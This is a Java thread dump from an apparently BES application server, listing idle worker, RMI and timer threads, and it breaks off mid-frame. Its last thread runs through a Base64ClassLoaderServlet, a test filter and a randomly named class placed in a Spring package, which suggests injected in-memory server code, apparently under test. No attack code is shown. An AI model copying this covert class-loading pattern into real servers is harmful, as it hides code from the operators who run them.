java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-1900-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"FlushManager" #46 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Thread.sleep(Native Method) + at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230) + +"RMI GC Daemon" #90 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@1739a027 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.rmi@17.0.20/sun.rmi.transport.GC$Daemon.run(GC.java:127) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.20/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"Stateful cache" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@58a48465 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Connection-Pool-Create-1797369452" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bfdfea3 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at com.bes.enterprise.gjc.pool.impl.GenericObjectPool$CreateConnectionThread.run(GenericObjectPool.java:1628) + +"RMI Reaper" #89 [WAITING] on java.lang.ref.ReferenceQueue$Lock@7de36c99 + java.lang.Thread.State: WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.20/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.rmi@17.0.20/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-1" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"SelectorReaderThread-8080-1" #70 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.20/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.20/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.20/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:873) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Spark_7" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"AppServer-utility-2" #58 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5cd859a + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"jmsra-WorkerThread-2" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Spark_0" #80 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"RetryTimer" #47 daemon [WAITING] on java.util.TaskQueue@2781c39a + java.lang.Thread.State: WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.Object.wait(Object.java:338) + at java.base@17.0.20/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@17.0.20/java.util.TimerThread.run(Timer.java:516) + +"httpWorkerThread-8080-3" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-6" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-1900-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"http-nio-0.0.0.0-8080-Acceptor" #71 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.20/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.20/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:604) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:85) + at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Spark_4" #84 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"httpWorkerThread-8080-2" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"RMI TCP Accept-6600" #88 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:760) + at java.base@17.0.20/java.net.ServerSocket.implAccept(ServerSocket.java:675) + at java.base@17.0.20/java.net.ServerSocket.platformImplAccept(ServerSocket.java:641) + at java.base@17.0.20/java.net.ServerSocket.implAccept(ServerSocket.java:617) + at java.base@17.0.20/java.net.ServerSocket.implAccept(ServerSocket.java:574) + at java.base@17.0.20/java.net.ServerSocket.accept(ServerSocket.java:532) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:413) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"PoolIdleReleaseTimer" #96 daemon [TIMED_WAITING] on java.util.TaskQueue@5bfaeca3 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.util.TimerThread.mainLoop(Timer.java:563) + at java.base@17.0.20/java.util.TimerThread.run(Timer.java:516) + +"Notification Thread" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Common Lib Watcher" #19 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Thread.sleep(Native Method) + at app//com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:90) + +"Spark_1" #81 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"RMI RenewClean-[192.168.215.5:6600]" #93 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3f961999 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.rmi@17.0.20/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:559) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"LogFileManager.EventManager" #45 daemon [WAITING] on java.lang.Object@59772d56 + java.lang.Thread.State: WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.Object.wait(Object.java:338) + at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236) + +"http-nio-0.0.0.0-1900-Acceptor" #69 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.20/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.20/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:604) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:85) + at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Common-Cleaner" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@70c3b8f1 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.20/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.20/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"SelectorReaderThread-1900-1" #68 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.20/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.20/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.20/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:873) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Spark_3" #83 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.20/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.20/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"bes-deployment-scheduled-executor-thread." #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7c50cdbe + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"jmsra-WorkerThread-3" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-1900-4" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-5" #64 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.20/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at org.springframework.EZQui.ErrorCphpbHandler.toString(BasicInfoPrinter.java:26) + at java.base@17.0.20/java.lang.String.valueOf(String.java:4220) + at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:225) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158) + at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49) + at 